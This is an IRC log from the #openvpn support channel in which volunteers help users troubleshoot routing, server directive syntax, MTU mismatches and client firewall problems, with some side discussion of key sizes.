01:46 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
01:46 < hyper_ch> !paste
01:46 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
01:46 < hyper_ch> pastebin your configs
01:46 < hyper_ch> !configs
01:46 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
01:49 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
01:49 < Brando753> Hey guys I am rather new to openVPN and I think I got it setup correctly but I am having issues with pinging any local networks (or non-local for that mater) when connected to it, the Key authentication works and it says connected so I think its just a firewall issue with iptables, anyone able to help me figure this out? I currently have a wlan2 network connection running 192.168.1.75 and am connecting from
01:49 < Brando753> a computer with a 10.141.254.215 local address if that matters. I am attempting to use something like this http://pastebin.com/J0mmcGiG
01:51 < map> hey if you think its iptables check your ruiles iptables -L
01:54 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
01:55 < hyper_ch> map: http://paste.debian.net/34753/  that's what I use sort of.....
01:56 < map> http://pastebin.com/bhLttsb1 - client.ovpn i dont get any errors..i cliced view log and nothing there
01:56 < map> http://pastebin.com/6NWZpRyE server.conf i tried to get rid of all comments and stuff not used..hopefully didnt delete something i shouldnt have
01:56 < hyper_ch> map: you don't have a log file specified in there
01:56 < map> the ubuntu tutorial cant be right.unless someow im reading it wrong
01:56 < map> ah sec
01:56 < map> in client?
01:57 < hyper_ch> map: try my configs
01:57 < hyper_ch> also openvpn must be run as admin on windows
01:58 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
01:58 < hyper_ch> Brando753: what do you try to accomplish? and
01:58 < hyper_ch> !configs
01:58 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
01:59 < map> ok trying now
02:00 < hyper_ch> map: just edit certificate names and server ip/hostname accordingly
02:00 < Brando753> I want to securely tunnel my connection from the university to my home network and I would also like to have access to the local computers as well. Running Debian Wheezy and yes I have enabled forwarding. http://pastebin.com/CKTYjRVH
02:01 < Brando753> hyper_ch: ^
02:01 < hyper_ch> where is the vpn server?
02:01 < hyper_ch> and what subnet do you use at home?
02:02 < hyper_ch> you probably need to push that
02:02 < hyper_ch> e.g. if your home subnet is 10.0.0.x then add to the server config:   push "route 10.0.0.0 255.255.255.0"
02:03 < Brando753> vpn server is at home and runs on ip 192.168.1.75 for internal server but its also doing NAT redirection for 192.168.0.1 to a ethernet switch on eth0
02:03 < hyper_ch> that should then push an entry to your routing table that all ips with 10.0.0.x should use the tun
02:03 < hyper_ch> so your home network uses 192.168.1.x?
02:03 < Brando753> so add 'push "route 192.0.0.0 255.255.255.0" after server
02:03 < Brando753> yes
02:04 < Brando753> and 192.168.0.x
02:04 < hyper_ch> just add it somewhere in the server config
02:04 < Brando753> bit is that the correct syntax?
02:04 < Brando753> 192.0.0.0
02:04 < hyper_ch> 192.168.0.0
02:05 < hyper_ch> 192.168.1.0
02:05 < hyper_ch> push "route 192.168.1.0 255.255.255.0"
02:05 < map> ah it didnt work as no user openvpn or group
02:05 < map> shall i create?
02:05 < hyper_ch> map: just comment them out
02:05 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has quit [Ping timeout: 246 seconds]
02:05 < map> ok:)
02:06 < map> ok
02:06 < map> tun0 created
02:06 < map> now il try and connect
02:06 < hyper_ch> tun0 created?
02:06 < map> ifconfig shows tun0
02:06 < hyper_ch> ah
02:06 < map> after i started openvpn
02:06 < hyper_ch> that's good
02:06 < map> connecting to client failed
02:06 < hyper_ch> Brando753: and with the route push, you shouldn't need the iptable rules
02:07 < Brando753> hyper_ch: alright added the push "route" thing but it still did not work
02:07 < hyper_ch> what didn't work?
02:07 < Brando753> hyper_ch: will I need to flush iptable rules?
02:07 < hyper_ch> did you restart server and client?
02:07 < Brando753> yup
02:07 < map> yep
02:07 < hyper_ch> and yes, you probably need
02:07 < map> oh sorry
02:09 < map> connecting to client failed and nothing in the log
02:10 < Brando753> hyper_ch: I flushed the iptable rules and restarted openVPN again
02:10 < Brando753> no luck
02:10 < hyper_ch> print the routing table of your client
02:10 < hyper_ch> route -a
02:10 < hyper_ch> route -A
02:10 < Brando753> while connected to the VPN?
02:11 < hyper_ch> yes
02:12 < Aketzu> "ip r" shows nicer output
02:12 < map> still nothing
02:13 < map> man this is annoying
02:13 < hyper_ch> map: need logs
02:13 < hyper_ch> and the server is linux?
02:13 < map> yep
02:13 < map> ubuntu 13.04
02:13 < hyper_ch> ip forwarding enabled on it?
02:13 < map> nothing happened in server logs no connection made
02:13 < map> and the client isnt giving me any log just 'connection timed out';
02:14 < hyper_ch> did you set correct server ip or hostname in the client config?
02:14 < map> yep
02:14 < map> 192.168.1.69
02:14 < map> im sshd into it atm so the IPs definiutely right
02:14 < hyper_ch> I need client log
02:14 < map> im not sure what to say when i click view log it doesnt show me anyting
02:15 < hyper_ch> then enable the log in the config
02:15 < map> i did!
02:16 < hyper_ch> pastebin client config
02:16 < map> http://pastebin.com/rE8rgqkb
02:16 < Brando753> route -A did not return anything but route by itself outputed this http://pastebin.com/s1vYejQA
02:17 < hyper_ch> the routing table looks fine.... queries for 192.168.1.x should use the tun interface
02:18 < hyper_ch> can't really help more and gotta go now myself
02:18 < Brando753> ah well thanks for the help so far
02:18 < map> yea thanks for your help hyper_ch
02:18 < map> i dunno what im doing wrong
02:18 < map> :D
02:22 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:22 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
02:24 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:24 -!- pfoo_ [~pfoo@117-a7-s0.oni.unscdf.eu] has joined #openvpn
02:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:25 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
02:26 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Read error: Connection reset by peer]
02:26 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
02:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
02:26 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
02:26 -!- houkouonchi [~linux@pool-108-38-63-48.lsanca.fios.verizon.net] has quit [Ping timeout: 264 seconds]
02:26 -!- houkouonchi [~linux@pool-71-165-8-99.lsanca.fios.verizon.net] has joined #openvpn
02:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
02:29 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
02:39 -!- mode/#openvpn [+v s7r] by ChanServ
02:39 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
02:42 -!- sailerboy [~sailerboy@sailerboy.net] has quit [Ping timeout: 268 seconds]
02:43 < hyper_ch> back again
02:44 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
02:48 < mapito> hey
02:51 < mapito> hmm
02:51 < mapito> well got it to connect with securepoint
02:51 < mapito> but still got errors
02:51 < mapito> :D
03:12 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:20 < Brando753> hyper_ch: back as in can help :D
03:26 -!- adnap_ is now known as adnap
03:32 -!- JPeterson [HydraIRC@host-90-233-178-93.mobileonline.telia.com] has quit [Ping timeout: 245 seconds]
03:33 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:40 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 264 seconds]
03:44 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:45 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
03:46 -!- plot [~plot@gw.vpn.autistici.org] has joined #openvpn
03:46 < plot> hi
03:46 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:48 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
03:49 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:49 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Remote host closed the connection]
04:03 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
04:03 -!- s7r_k [~s7r@openvpn/user/s7r] has joined #openvpn
04:03 -!- mode/#openvpn [+v s7r_k] by ChanServ
04:09 -!- JSharpe [~JSharpe@h88-150-184-50.host.redstation.co.uk] has quit [Quit: Leaving]
04:10 -!- JSharpe [~JSharpe@h88-150-184-50.host.redstation.co.uk] has joined #openvpn
04:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
04:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:22 -!- hel [~hel@mail.head.de] has joined #openvpn
04:23 -!- plot [~plot@gw.vpn.autistici.org] has quit [Quit: Leaving]
04:23 < hel> g'day - any change the default link-mtu did change in version 2.3.x.... i'm having strange errors with the link-mtu and 2.2.x works, 2.3.2 doesn't...
04:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:31 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
04:41 -!- Vustom [uid7276@gateway/web/irccloud.com/x-mgbvkemtiagdxdti] has quit [Ping timeout: 268 seconds]
04:43 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:48 -!- willybilly0101 [~willybill@unaffiliated/willybilly0101] has joined #openvpn
04:48 < willybilly0101> when strating openvpn I receive lots of " TLS Error: Unroutable control packet received from [AF_INET]198.252.153.26:1194 (si=3 op=P_CONTROL_V1)" and evetually it fails
04:49 < willybilly0101> I start the VPN connection in a virtualmachine, guest = linux, host = windows; did the same at home, guest=host=linux, it worked
04:49 < willybilly0101> now, it doesn't (I don't know if the fact that the hosts OS is different matters)
05:10 -!- lazzer- [~mattias@213.132.98.41] has quit [Ping timeout: 268 seconds]
05:14 < Azrael_-> can you ping host->guest and the othe rway round? (without vpn)
05:39 -!- Vustom [uid7276@gateway/web/irccloud.com/x-yvimvstswwqcvxii] has joined #openvpn
05:41 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
05:50 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
05:55 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
06:04 -!- Denial [Denial@05417302.skybroadband.com] has quit [Ping timeout: 245 seconds]
06:04 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
06:07 <@plai> hel: there shouldn't be any
06:07 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has joined #openvpn
06:08 < hel> hmm... i posted my question plus logs already in the forum
06:08 < hel> plai, i get WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1546', remote='link-mtu 1542'
06:08 < hel> but only when a 2.3.2 client connects
06:09 < hel> the 2.2.1 clients have no problems with the exact same configuration
06:09 < hel> both configs have no link- or tun-mtu set explicitely
06:09 < hel> just fragment 1300 and mssfix
06:10 <@plai> hel: tap vs tun?
06:10 < hel> tun on both
06:11 <@plai> hm ...
06:11 <@plai> care to share the config?
06:11 < hel> https://forums.openvpn.net/topic13697.html
06:11 <@vpnHelper> Title: OpenVPN Support Forum Problems with single client : Installation Help (at forums.openvpn.net)
06:18 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:24 < hel> the config from the forum article has been working for two years now... only with 2.3.2 as a client it stopped
06:24 -!- s7r_k is now known as s7r
06:24 < hel> a tcp variant we use as fallback is still working fine
06:24 < havoc> as much as I hate to ask, what is a good common/safe/preferred key size? 1024, 2048, ...?
06:25 < Thermi> 4096
06:25 < havoc> I've been using 2048
06:25 < Thermi> Use the largest size keys you can get
06:26 < Thermi> Because it improves security and your link speed probably isn't high enough to actually significantly increase load over the old key size
06:26 < havoc> noted
06:27 < havoc> this is more an opinion/poll than support question
06:28 < Thermi> I assumed you were talking about RSA key sizes.
06:28 < Thermi> If you'd use ECDSA keys, you'd want to use 521 bit keys, of course.
06:28 < havoc> yes, for the openssl config (vars)
06:28 < Thermi> The overhead of elliptic operations is much lower compared to standard operations with RSA
06:29 < Thermi> and the key size is lower, so packets containing the certificate won't get fragmented
06:29 < Thermi> So the certificate will be transmitted in a single packet.
06:31 < havoc> thanks for the info
06:31 <@plai> hel: server is 2.2.2?
06:31 < havoc> anyone else?
06:31 < hel> server is 2.2.1 on ubuntu lucid
06:32 <@plai> hel: I will take a look if I have time
06:32 <@plai> but there is nothing "obvious"
06:32 < hel> anything left I could do to help? debug output?
06:33 <@plai> candiates are fragment, mssfix and comp-lzo
06:33 <@plai> one of this or a combination of these is causing the link-mtu to mismatch
06:33 <@plai> if you have control over server and client you could remove them from the config and see if the link-mtu error still happens
06:34 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has joined #openvpn
06:34 < hel> hmm... i have control of the server, but if i change that I'll lock out my clients
06:34 < hel> which will make me quite unpopuloar quickly :)
06:35 <@plai> hel: ah okay
06:35 < hel> I guess I will set up a few test vms when there's more time... next week perhaps
06:35 < Dark_Apostrophe> Hello, I'm trying to set up an OpenVPN server on an existing Windows server using a fixed IP. I'm following the Easy Windows Guide. When I try to start the service, I get this message in the log: Options error: --server directive network/netmask combination is invalid
06:36 < havoc> Dark_Apostrophe: it doesn't like your --server directive
06:36 < hel> quick solution for the time being is roll back the windows clients to 2.2.x
06:36 < hel> or fallback to tcp
06:36 < Dark_Apostrophe> havoc: server 10.1.1.22 255.255.255.0 <-- Its contents
06:37 < havoc> Dark_Apostrophe: 10.1.1.22 is the problem
06:37 < Dark_Apostrophe> How so? It's the server's fixed IP
06:37 -!- Rumbles [~Rumbles@host81-136-139-194.in-addr.btopenworld.com] has joined #openvpn
06:37 < havoc> Dark_Apostrophe: --server takes a network number, and mask, not an IP addr and mask
06:37 < havoc> Dark_Apostrophe: 10.1.1.22 is not a network number for a /24
06:38 < Dark_Apostrophe> What do you mean by network number?
06:38 < Dark_Apostrophe> Oh
06:38 < havoc> Dark_Apostrophe: man openvpn, seach for --server
06:38 < Dark_Apostrophe> 10.1.1.0?
06:38 < havoc> Dark_Apostrophe: yes :)
06:38 < Dark_Apostrophe> Trying
06:38 < havoc> check the man page, it will show you how the --server directive is expanded
06:39 < Dark_Apostrophe> Alright, though now it's showing a key error - but that's because I forgot to move the keys into the config directory, so no big deal
06:39 < havoc> Dark_Apostrophe: really, you should check the man page for that directive, if you want to understand exactly what it's doing
06:40 < havoc> --server is basically a macro for several diff directives
06:41 < Dark_Apostrophe> Is there a man page online? I checked linuxmanpages.com, but there wasn't one for OpenVPN
06:41 < havoc> Dark_Apostrophe: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
06:41 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
06:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: restart (update)]
06:42 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:42 < Dark_Apostrophe> Thanks
06:42 < havoc> Dark_Apostrophe: search for --server network netmask
06:42 < havoc> Dark_Apostrophe: np
06:42 -!- Denial [Denial@05417302.skybroadband.com] has quit [Ping timeout: 244 seconds]
06:43 < Dark_Apostrophe> Seems like the server started flawlessly now
06:43 < havoc> cool
06:44 < Dark_Apostrophe> Now to beat the client into doing the same :P
06:44 < havoc> Thermi: 4096 is a huge freakin key ;)
06:44 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
06:44 < Dark_Apostrophe> By the way, the ifconfig commands issued are translated by the driver into ipconfig commands, right? They must be, I mean
06:44 < havoc> I would guess/assume so
06:44 < havoc> ...on windows
06:45 < havoc> or rather, not translated, just a diff OS subsystem to set them
06:45 < Thermi> God damnit someone should update the commands then
06:46 < Thermi> ifconfig is deprecated for a long time now
06:46 < Thermi> and 4096 is just a nice key size
06:46 < havoc> Thermi: I'm pretty sure he was talking about the config
06:46 < Thermi> if it was 16386, I'd a gree
06:46 < Thermi> yeah
06:46 < Thermi> okay
06:46 < havoc> Dark_Apostrophe: note than the config language does not necessarily imply "system commands"
06:46 < Dark_Apostrophe> Yeah, makes sense
06:47 < havoc> Thermi: I just mean that 2049 is twice the size of 2948
06:47 < Dark_Apostrophe> I'm just used to thinking in ifconfig terms for POSIX and ipconfig for Windows
06:47 < havoc> ok
06:47 < Thermi> You're not making much sense right now
06:47 < havoc> gah, 2049 is twice the size of 2048
06:47 < havoc> typo
06:47 < havoc> it's binary
06:48 < Thermi> I know. but it's not double the size, but double the capacity. :p
06:48 < Thermi> If it was double the size, it was 4096
06:48 < havoc> ah, yes
06:48 < Thermi> from 2048 to 2049, you just add another binary digit
06:49 < havoc> and you use 4096?
06:49 < Thermi> yep
06:49 < havoc> eh, can't hurt to try it
06:49 < havoc> the real test will be android clients
06:49 < Thermi> I switched to IPsec, though.
06:49 < havoc> that's what I use for s2s
06:49 < Thermi> Because IPsec is natively supported by Android, iOS, WIndows etc pp
06:50 < havoc> ah
06:50 < havoc> w/ ovpn I also setup 2 configs, one udp:1194, and one tcp:443
06:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
06:51 -!- mode/#openvpn [+v s7r] by ChanServ
06:51 < havoc> w/ --redir-gw on the tcp:443
06:51 < havoc> for when our ppl are at crappy hotels, etc..., or overseas
06:51 < Thermi> Heh.
06:51 < Thermi> :P
06:51 < havoc> "hole-puncher"
06:51 < Thermi> yeah.
06:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:52 < havoc> also gets them a local IP when overseas
06:52 < havoc> can be done w/ ipsec too, I know, but it's much more work to do, and many more catches
06:52 < Thermi> nah, not very many
06:53 < Thermi> but it uses UDP packets for NAT traversal, so it probably won't work really
06:53 < havoc> enough for me to not want to do it if I don't have to :)
06:53 < Thermi> yeah. :P
06:53 < Thermi> But then again, I'm just doing it for my family and such.
06:53 < havoc> ah
06:53 < Thermi> We only rarely go on vacation.
06:53 < Thermi> So it's not really a problem
06:54 < havoc> I've been trying to get them to move to SonicWall's NetExtender (for when I'm gone), but *my* ppl at our R&D arm like my setup
06:55 < Thermi> WebVPN, yes?
06:55 < havoc> not sure what's offered w/ each device/license package, but that is one of the options
06:55 < havoc> pretty much need to use the SRAs
06:55 < Thermi> If you have time, you can of course piece together something like that yourself
06:56 < Thermi> maybe there's even something open source for it
06:56 < havoc> yeah, time is the one thing I don't have nearly enough of :(
06:56 < havoc> and FOSS is kinda the problem, for when I'm gone; I'm the only one in the org that can deal with it :(
06:56 < Thermi> Oh, that's bad.
06:57 < Thermi> What is your job? Sysadmin?
06:57 < havoc> I'm trying to insure some sort of continuity here
06:57 < havoc> Thermi: tier1-tier<x> :(
06:57 < Thermi> :(
06:57 < havoc> but yes, more or less
06:57 < Thermi> FOSS isn't really a problem. People just have to read the manpages and use google.
06:57 < Thermi> :/
06:57 < havoc> no no no, I didn't mean to imply that
06:58 < havoc> I meant that our use of it is, because no one else can/will RTFM, google, etc..
06:58 < Thermi> Ah, so the problem is incompetence. :D
06:59 < havoc> ...and/or laziness, etc...
06:59 < Dark_Apostrophe> It's not connecting... I suspect it's not managing to contact the server at all, despite the port being forwarded on the firewall
06:59 < havoc> Dark_Apostrophe: anything in the server log, and client log?
06:59 < havoc> a *common* windows error is TLS timeouts due to client side firewall
07:00 < Thermi> I guess you have to use the ping directives then
07:00 < havoc> Dark_Apostrophe: simeplest solution on the client is a custom Windows Firewall rule that Allows all in all scopes for openvpn.exe
07:00 < Dark_Apostrophe> havoc, http://pastebin.com/UXYU0MXZ
07:00 < Dark_Apostrophe> The client's log ^
07:01 < Dark_Apostrophe> Note that this is a Windows client I'm using to set this thing up - the use will actually occur on a Mac.
07:01 < Dark_Apostrophe> Oh, -client- side firewalls?
07:01 < havoc> yes :)
07:01  * Dark_Apostrophe testing
07:01 < havoc> add that custom fw rule
07:02 -!- crus` [~crusader@2001:44b8:319e:2900:25da:fce0:54b0:8881] has joined #openvpn
07:02 < havoc> add custom, for Program (openvpn.exe), all protos, all ports, all scopes
07:02 -!- crus [~crusader@2001:44b8:319e:2900:25da:fce0:54b0:8881] has quit [Read error: Connection reset by peer]
07:02 < havoc> and yes, I see that telltale TLS negotiation error in that log :)
07:03 < havoc> Thermi: this current install I'm working on is intended to have AD/LDAP auth
07:04 < havoc> basing it on: https://forums.openvpn.net/topic13053.html
07:04 <@vpnHelper> Title: OpenVPN Support Forum Authenticating OpenVPN clients from Active Directory (LDAP) : Tutorials (at forums.openvpn.net)
07:04 < Thermi> Sounds nice
07:04 < havoc> more secure for one thing
07:05 < havoc> as we have many laptops used by more than one person
07:05 < havoc> I'd still use one key per machine, but require user auth too
07:05 < havoc> but I need to figure out multiple auth options, so I can have some machines not require a pass
07:06 < Dark_Apostrophe> havoc, it was an -incoming- rule, right?
07:06 < havoc> but should be able to do that w/ a client connect script and/or ccd
07:06 < havoc> Dark_Apostrophe: yes
07:06 < Dark_Apostrophe> Because it doesn't seem to be working
07:06 < Dark_Apostrophe> I can try dropping the firewall alltogether, just temporarily
07:06 < havoc> yes
07:07 < Dark_Apostrophe> Hmm... still the same behaviour. Maybe it's this network's NAT
07:08 < havoc> check your server logs too
07:08 < Dark_Apostrophe> Eeh... the server's not answering pings. The f?
07:09 < Dark_Apostrophe> Could OpenVPN have crashed it?
07:09 < havoc> no clue
07:09 < Dark_Apostrophe> Either way, that would seem to explain why I can't connect to it right now
07:09 < havoc> yes, but you still will need that fw rule on the client
07:10 < Dark_Apostrophe> Yes, until I get the actual, intended client up and running - which, as I said before, is an OS X machine
07:10 < havoc> ok
07:11 < Dark_Apostrophe> Bleh, I gotta go drive to the location where the server is, and find out what's happened with it
07:11 < havoc> no RDP, or ipkvm?
07:11 < Dark_Apostrophe> RDP is what I've been using so far
07:11 < Dark_Apostrophe> I can ping other devices in the same network, but not that server
07:11 < havoc> ouch
07:12 < Dark_Apostrophe> Brilliant, eh?
07:12 < havoc> ipkvm, and ippdu, ftw
07:12 < havoc> but yes, I know they cost more money
07:15 <@ecrist> good morning
07:18 < havoc> morning
07:32 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:33 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
07:35 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
07:35 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
07:37 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
07:37 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 248 seconds]
07:44 -!- crane [~crane@static-87-79-93-178.netcologne.de] has quit [Disconnected by services]
07:44 < Dark_Apostrophe> Thanks for your help, havoc! Gotta go beat a server with a stick.
07:44 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has quit [Quit: ciao]
07:44 -!- crane_ [~crane@static-87-79-93-178.netcologne.de] has joined #openvpn
07:48 < havoc> and missed him
07:48 -!- odt [~odt@79.149.191.90.dyn.estpak.ee] has joined #openvpn
08:03 -!- Dark_Apostrophe [~Dark_Apos@195.204.16.109] has joined #openvpn
08:03 -!- Dark_Apostrophe [~Dark_Apos@195.204.16.109] has quit [Changing host]
08:03 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has joined #openvpn
08:05 < Dark_Apostrophe> havoc, I figured out what happened
08:05 < Dark_Apostrophe> The TAP-Win32 adapter gave itself 10.1.1.1
08:05 < Dark_Apostrophe> Which also happens to be the gateway
08:05 < Dark_Apostrophe> Ergo everything intended for the gatway went into the TAP-Win32 adapter instead
08:06 < Dark_Apostrophe> Could you help me configure it so that this doesn't happen again? Would it be as simple as setting a fixed IP for the interface?
08:07 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
08:08 < odt> openvpn bridged connection between win7 client and linux server is established, client gets IP but on the servers tap0 interface I can see only RX packets
08:08 < odt> iptable rules are applied
08:11 < havoc> Dark_Apostrophe: again, look at the expansion for the "--server <network> <netmask>" directive
08:11 < havoc> Dark_Apostrophe: you can implement it all as individual directives
08:14 < Dark_Apostrophe> havoc, I'm reading it, but I'm not sure what to specify
08:15 < Dark_Apostrophe> Mostly due to the topology options
08:15 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
08:16 < havoc> the point is that you want the --ifconfig <addr> <mask> directive so that you can specify the ip addr explicitly
08:17 < Dark_Apostrophe> So for instance, ifconfig 10.1.1.22 255.255.255.0?
08:18 < Dark_Apostrophe> Or ifconfig 10.1.1.22 10.1.1.21? (I recall reading something about Win32 limitations)
08:20 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:22 < odt> ok seems I had an MTU issue
08:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
08:23 < havoc> Dark_Apostrophe: you can replace your --server directive w/ that whole expansion block, and change the IP in the ifconfig directive
08:30 < Dark_Apostrophe>  if dev tun AND (topology == net30 OR topology == p2p):
08:30 < Dark_Apostrophe>    ifconfig 10.1.1.22 10.8.0.21
08:30 < Dark_Apostrophe> Like that?
08:30 < Dark_Apostrophe> oops, didn't change the last IP
08:30 < havoc> and the other ifconfig too
08:30 < havoc> if topology is diff
08:30 < Dark_Apostrophe> same IPs?
08:31 < havoc> yes, as it'll only use one or the other
08:31 < Dark_Apostrophe> Do you mean under ifconfig-pool or  if dev tap OR (dev tun AND topology == subnet): ?
08:31 < havoc> the later
08:31 < Dark_Apostrophe> So I shouldn't alter the former
08:33 < havoc> yes, alter both
08:33 < Dark_Apostrophe> http://pastebin.com/FEN00mDp <-- What I have so far
08:33 < havoc> alter all ifconfig <add> <mask> lines
08:33 < havoc> you may also want to alter the ifconfig-pool lines
08:34 < Dark_Apostrophe> to 10.1.1.0?
08:34 < havoc> come on man, you gotta read the man page :)
08:35 < Dark_Apostrophe> I am, but I've got zero OpenVPN experience - and I'm no networking guru, either. :P
08:37 < havoc> --ifconfig-pool <start-IP> <end-IP> [netmask
08:37 < havoc> --ifconfig-pool <start-IP> <end-IP> [netmask]
08:37 < Dark_Apostrophe> Thanks
08:39 < havoc> so using the whole expansion, you can set a specific server IP, and the IP pool range
08:40 < Dark_Apostrophe> I see. As for topology, I'm not sure what to set
08:40 -!- crus` [~crusader@2001:44b8:319e:2900:25da:fce0:54b0:8881] has quit [Ping timeout: 260 seconds]
08:40 < havoc> Dark_Apostrophe: nothing, for now
08:40 < Dark_Apostrophe> Alright, I'll give it a whirl
08:40 < havoc> the if() blocks account for all topologies
08:41 < Dark_Apostrophe> Oh, makes sense - checking all possibilities one by one
08:41 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
08:44 -!- hel [~hel@mail.head.de] has quit [Quit: Verlassend]
08:45 < Dark_Apostrophe> Now it's throwing out an error
08:45 < Dark_Apostrophe> Getting a copy
08:46 < Dark_Apostrophe> Options error: Unrecognized option or missing parameter(s) in server.ovpn:103: if (2.3.2)
08:46 < havoc> I'm betting on a typo
08:47 < havoc> pastebin your config
08:48 < Dark_Apostrophe> http://pastebin.com/wVgykY6K
08:48 < Dark_Apostrophe> I gotta go in 5 minutes, they'll be closing the office
08:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:49 < havoc> I'm on a conf call too :(
08:49 < Dark_Apostrophe> Alright... thanks for all your help, you've been awesome :)
08:49 < havoc> maybe later then
08:49 -!- odt [~odt@79.149.191.90.dyn.estpak.ee] has left #openvpn ["Leaving"]
08:49 < Dark_Apostrophe> Tomorrow, probably.
08:49 < havoc> I'll probably be here
08:50 < Dark_Apostrophe> I'll keep an eye out... the paste expires in 8 minutes or so, if you do spot an error, could you please make a note of it and tell me what it is?
08:50 < havoc> if I see it
08:50 < Dark_Apostrophe> Thanks!
08:51 < Dark_Apostrophe> Goodbye, and good (insert-time-of-day) to you
08:51 < havoc> ah, "push "topology [topology]""
